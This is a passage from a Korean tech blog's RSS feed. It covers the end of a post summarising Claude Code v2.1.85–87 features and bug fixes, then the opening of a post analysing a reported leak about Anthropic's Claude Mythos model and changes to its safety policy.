&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;/skills 알파벳 정렬&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.86&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/skills&lt;/code&gt; 메뉴가 알파벳순으로 정렬되어 찾기 쉬워짐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;스킬 설명 250자 제한&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.86&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/skills&lt;/code&gt; 목록에서 설명이 250자로 제한 &amp;rarr; 컨텍스트 사용량 감소&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;메모리 파일명 인터랙션&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.86&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;Saved N memories&quot; 알림에서 메모리 파일명에 hover 하이라이트, 클릭으로 바로 열기 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;X-Claude-Code-Session-Id 헤더&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.86&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;모든 API 요청에 세션 ID 헤더 추가 &amp;mdash; 프록시/미들웨어에서 body 파싱 없이 세션별 요청 집계 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;.jj / .sl VCS 지원&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.86&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Jujutsu(&lt;code&gt;.jj&lt;/code&gt;)와 Sapling(&lt;code&gt;.sl&lt;/code&gt;)의 메타데이터 디렉토리를 VCS 제외 목록에 추가 &amp;mdash; Grep, 파일 자동완성에서 불필요한 결과 제거&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 18 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;18. 안정성 대수술 &amp;mdash; v2.1.85~87의 주요 버그 수정&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1996&quot; data-origin-height=&quot;1102&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cf6BWM/dJMcaibJh5x/sD0PUMpHJk9FPXranQA7m0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cf6BWM/dJMcaibJh5x/sD0PUMpHJk9FPXranQA7m0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cf6BWM/dJMcaibJh5x/sD0PUMpHJk9FPXranQA7m0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcf6BWM%2FdJMcaibJh5x%2FsD0PUMpHJk9FPXranQA7m0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1996&quot; height=&quot;1102&quot; data-origin-width=&quot;1996&quot; data-origin-height=&quot;1102&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;v2.1.85~86에서 총 30건 이상의 버그가 수정되었다. 가장 체감이 큰 수정들을 정리한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주요 버그 수정 하이라이트&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.85&lt;/b&gt;: &lt;code&gt;--worktree&lt;/code&gt;가 non-git 저장소에서 오류 종료하던 문제 수정 &amp;mdash; &lt;code&gt;WorktreeCreate&lt;/code&gt; 훅 실행 전에 종료되던 버그&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.85&lt;/b&gt;: &lt;code&gt;deniedMcpServers&lt;/code&gt; 설정이 claude.ai MCP 서버를 차단하지 못하던 문제 수정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.85&lt;/b&gt;: 터미널 종료 후 enhanced keyboard mode가 남아있어 Ctrl+C/Ctrl+D가 작동 안 하던 문제 수정 (Ghostty, Kitty, WezTerm 등)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.85&lt;/b&gt;: Python Agent SDK에서 &lt;code&gt;--mcp-config&lt;/code&gt;로 전달된 &lt;code&gt;type:'sdk'&lt;/code&gt; MCP 서버가 시작 시 드롭되던 문제 수정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.85&lt;/b&gt;: SSH/VS Code 통합 터미널에서 raw key sequence가 프롬프트에 출력되던 문제 수정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.86&lt;/b&gt;: &lt;code&gt;--resume&lt;/code&gt;이 v2.1.85 이전에 생성된 세션에서 &quot;tool_use ids were found without tool_result blocks&quot; 오류로 실패하던 문제 수정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.86&lt;/b&gt;: 조건부 스킬/규칙 설정 시 프로젝트 루트 외부 파일(&lt;code&gt;~/.claude/CLAUDE.md&lt;/code&gt; 등) Write/Edit/Read 실패 문제 수정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.86&lt;/b&gt;: v2.1.83 이후 macOS/Linux에서 공식 마켓플레이스 플러그인 &quot;Permission denied&quot; 오류 수정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.86&lt;/b&gt;: 스킬 호출 시마다 불필요한 설정 디스크 쓰기 발생 &amp;mdash; Windows에서 성능 저하 및 설정 손상 유발하던 문제 수정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.86&lt;/b&gt;: &lt;code&gt;/feedback&lt;/code&gt; 사용 시 대용량 트랜스크립트 파일에서 메모리 오버플로우 크래시 방지&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.87&lt;/b&gt;: Cowork Dispatch에서 메시지가 전달되지 않던 문제 수정&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;수정 영역&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.85&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;MCP OAuth&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;refresh token 존재 시 step-up authorization 실패 수정 (버그). RFC 9728 Protected Resource Metadata discovery 지원은 별도 신기능으로 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.85&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;Remote Control&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;권한 해결 후에도 &quot;Requires Action&quot; 상태에 고정되던 문제 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.85&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;OTEL&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;exporter를 &lt;code&gt;none&lt;/code&gt;으로 설정 시 크래시 수정. tool_parameters를 &lt;code&gt;OTEL_LOG_TOOL_DETAILS=1&lt;/code&gt; 뒤로 이동&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.86&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;VSCode 확장&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;장시간 작업 중 &quot;응답 없음&quot; 표시 수정 / OAuth 토큰 갱신 후 Max 플랜을 Sonnet으로 기본 설정하던 버그 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.86&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;멀티인스턴스&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;여러 Claude Code 인스턴스 실행 시 상태바가 다른 세션의 모델을 표시하던 문제 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.86&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;메모리 누수&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;마크다운/하이라이트 렌더 캐시가 전체 문자열을 유지하던 누수 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 19 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;19. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;개발자 커뮤니티의 반응도 주목할 만하다. DEV.to의 Alan West는 v2.1.83 릴리스 직후 &lt;i&gt;&quot;긴 세션에서 검색을 시도했는데 즉시 찾아졌다. 이것만으로도 업데이트할 이유가 된다&quot;&lt;/i&gt;고 썼고 (&lt;a href=&quot;https://dev.to/alanwest/claude-code-2183-dropped-an-hour-ago-i-already-found-5-things-that-matter-3g0e&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;출처&lt;/a&gt;), DEV.to의 jidonglab은 3주간 17개 릴리스를 분석하며 &lt;i&gt;&quot;플랫폼 전환점(inflection point)이 실시간으로 일어나고 있다&quot;&lt;/i&gt;고 평가했다 (&lt;a href=&quot;https://dev.to/ji_ai/17-claude-code-releases-in-30-days-everything-that-changed-1ec8&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;출처&lt;/a&gt;). 한편 Hacker News에서는 안정성 우려도 나왔다 &amp;mdash; 3월 17일 500 에러, CLAUDE.md 지시 무시 등의 보고가 있었다 (&lt;a href=&quot;https://news.ycombinator.com/item?id=47417316&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;HN&lt;/a&gt;). 이 반응들이 보여주는 것: &lt;b&gt;기능 추가 속도는 압도적이지만, 안정성과의 균형이 여전히 과제&lt;/b&gt;라는 점이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;24개 버전, 약 400개 변경사항의 방향은 명확하다: &lt;b&gt;Claude Code가 &quot;일회성 코딩 도구&quot;에서 &quot;기억하고, 반복하고, 대규모 컨텍스트를 다루는 팀 인프라&quot;로 진화했다.&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;지금 확인해야 할 것&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;1078&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sHWvL/dJMcaaLwa2D/oBRjmTGCigahDkgxIisc2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sHWvL/dJMcaaLwa2D/oBRjmTGCigahDkgxIisc2k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sHWvL/dJMcaaLwa2D/oBRjmTGCigahDkgxIisc2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsHWvL%2FdJMcaaLwa2D%2FoBRjmTGCigahDkgxIisc2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1972&quot; height=&quot;1078&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;1078&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #d4edda;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #28a745; font-weight: 600;&quot;&gt;당신의 상황&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #28a745; font-weight: 600;&quot;&gt;지금 해볼 것&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;세션 간 컨텍스트가 끊겨서 불편하다&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/memory&lt;/code&gt;로 Auto Memory 상태를 확인하고 정리한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;반복 작업을 수동으로 실행하고 있다&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/loop 5m check the build&lt;/code&gt;로 자동화한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;코드 품질 검토를 별도로 하고 있다&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;구현 후 &lt;code&gt;/simplify&lt;/code&gt;를 실행한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;긴 세션을 자주 쓴다&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;Ctrl+O&lt;/code&gt; &amp;rarr; &lt;code&gt;/&lt;/code&gt;로 트랜스크립트 검색을 시도해 본다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;팀에서 Claude Code를 운영한다&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;managed-settings.d/&lt;/code&gt;로 팀별 정책을 분리한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;자동화 파이프라인을 구축 중이다&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;CwdChanged&lt;/code&gt;, &lt;code&gt;FileChanged&lt;/code&gt; 훅을 실험한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;응답이 느려졌다고 느낀다&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/context&lt;/code&gt;로 컨텍스트 사용량을 확인한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;대규모 리포에서 느리다고 느꼈다&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;claude update&lt;/code&gt;만 해도 시작 메모리 ~100MB 이상 절감&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 지금 바로 업데이트
claude update

# 현재 버전 확인
claude --version&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;공식 CHANGELOG: &lt;a href=&quot;https://github.com/anthropics/claude-code/blob/main/CHANGELOG.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;공식 문서: &lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic Docs&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Auto Memory 가이드: &lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code/memory&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Memory&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Voice Mode: &lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code/voice&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Voice&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;훅 가이드: &lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code/hooks&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hooks Reference&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;플러그인 가이드: &lt;a href=&quot;https://code.claude.com/docs/en/plugins&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Plugins&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>/loop 크론</category>
      <category>/simplify</category>
      <category>1M 컨텍스트</category>
      <category>auto memory</category>
      <category>claude code</category>
      <category>opus 4.6</category>
      <category>Voice STT</category>
      <category>반응형 훅</category>
      <category>트랜스크립트 검색</category>
      <category>플러그인 보안</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/569</guid>
      <comments>https://goddaehee.tistory.com/569#entry569comment</comments>
      <pubDate>Mon, 30 Mar 2026 18:30:38 +0900</pubDate>
    </item>
    <item>
      <title>Claude Mythos(Capybara) - 앤트로픽 Claude Mythos 유출 분석 : ASL-4 임박, RSP 변화, 개발자 시사점</title>
      <link>https://goddaehee.tistory.com/568</link>
      <description>&lt;script type=&quot;application/ld+json&quot;&gt;
{
  &quot;@context&quot;: &quot;https://schema.org&quot;,
  &quot;@type&quot;: &quot;TechArticle&quot;,
  &quot;headline&quot;: &quot;앤트로픽 Claude Mythos(Capybara) 유출 완전 분석 - ASL-4 임박, RSP 변화, 개발자 시사점&quot;,
  &quot;description&quot;: &quot;앤트로픽이 CMS 인적 오류로 약 3,000건의 미공개 자료를 노출했다. 그 안에는 역대 가장 강력한 AI 모델 Claude Mythos(코드명 Capybara)의 존재가 담겨 있었다. 모델 성능, ASL-4 임박 우려, RSP v3.0 개편의 의미, 개발자 시사점까지 공식 소스 기반으로 완전 분석한다.&quot;,
  &quot;author&quot;: {
    &quot;@type&quot;: &quot;Person&quot;,
    &quot;name&quot;: &quot;갓대희&quot;
  },
  &quot;datePublished&quot;: &quot;2026-03-29&quot;,
  &quot;mainEntity&quot;: [
    {
      &quot;@type&quot;: &quot;Question&quot;,
      &quot;name&quot;: &quot;Claude Mythos와 Capybara는 같은 모델인가?&quot;,
      &quot;acceptedAnswer&quot;: {
        &quot;@type&quot;: &quot;Answer&quot;,
        &quot;text&quot;: &quot;Fortune 원본 보도에 따르면 두 이름이 동일 모델을 가리킵니다. 유출된 초안 블로그 포스트의 버전에 따라 'Mythos'와 'Capybara'가 각각 사용됐습니다. Capybara가 독립된 계층 이름인지, 아니면 모델의 후보 이름인지는 아직 Anthropic이 공식 확인하지 않았습니다.&quot;
      }
    },
    {
      &quot;@type&quot;: &quot;Question&quot;,
      &quot;name&quot;: &quot;RSP v3.0에서 삭제된 'pause 약속'은 무엇인가?&quot;,
      &quot;acceptedAnswer&quot;: {
        &quot;@type&quot;: &quot;Answer&quot;,
        &quot;text&quot;: &quot;이전 RSP에는 안전 완화 조치를 보장하지 못하면 모델 개발을 중단한다는 하드 커밋먼트가 있었습니다. RSP v3.0(2026-02-24 발효)에서는 이 단독 pause 조항이 삭제됐습니다. 단순 조건 완화가 아니라 정책 구조가 변경됐습니다. 회사 자체 계획(company plans)과 산업 전체 권고(industry-wide recommendations)를 분리하고, Risk Reports·external review·competitor-contingent commitments를 포함한 다층 구조로 전환됐습니다. (출처: Anthropic RSP v3.0 전문, Appendix A)&quot;
      }
    },
    {
      &quot;@type&quot;: &quot;Question&quot;,
      &quot;name&quot;: &quot;Claude Mythos는 ASL-4 모델인가?&quot;,
      &quot;acceptedAnswer&quot;: {
        &quot;@type&quot;: &quot;Answer&quot;,
        &quot;text&quot;: &quot;Anthropic이 공식적으로 ASL-4로 분류하지 않았습니다. 다만 유출 문서와 RSP v3.0 문서의 내용을 근거로 여러 매체가 'ASL-4 임박' 또는 '접근 중'이라고 분석합니다. ASL-4는 아직 정식으로 정의되지 않은 단계입니다.&quot;
      }
    }
  ]
}
&lt;/script&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희입니다.&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2920&quot; data-origin-height=&quot;1712&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tK24X/dJMb99Tl3qT/1hohOkOxLXm9kqY7y0Lbfk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tK24X/dJMb99Tl3qT/1hohOkOxLXm9kqY7y0Lbfk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tK24X/dJMb99Tl3qT/1hohOkOxLXm9kqY7y0Lbfk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtK24X%2FdJMb99Tl3qT%2F1hohOkOxLXm9kqY7y0Lbfk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2920&quot; height=&quot;1712&quot; data-origin-width=&quot;2920&quot; data-origin-height=&quot;1712&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;2026년 3월 26일, Fortune의 단독 보도 하나가 AI 업계를 뒤흔들었다.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앤트로픽(Anthropic)이 CMS(콘텐츠 관리 시스템) 설정 오류라는 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;인적 실수&lt;/b&gt;&lt;/span&gt; 하나로, 발표 예정이었던 블로그 게시물과 관련 자료 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;약 3,000건&lt;/b&gt;&lt;/span&gt;을 외부에 노출시켰다. 그 문서들 안에 아무도 예상하지 못했던 정보가 담겨 있었다. 앤트로픽이 개발한 역대 가장 강력한 AI 모델 &lt;b&gt;Claude Mythos(코드명 Capybara)&lt;/b&gt;의 존재와 개요가 세상에 모습을 드러낸 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사이버보안 분야에서 &quot;다른 어떤 AI 모델보다 훨씬 앞서 있다&quot;는 내부 평가, &quot;전례 없는 사이버보안 위험&quot;이라는 자체 경고, 그리고 ASL-4 임박 신호까지. 이 유출은 단순한 실수를 넘어서 AI 안전 논의의 판을 바꾸는 사건이 됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 공식 소스를 기반으로 이 사건의 전모와 시사점을 분석해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 3줄 요약 --&gt;
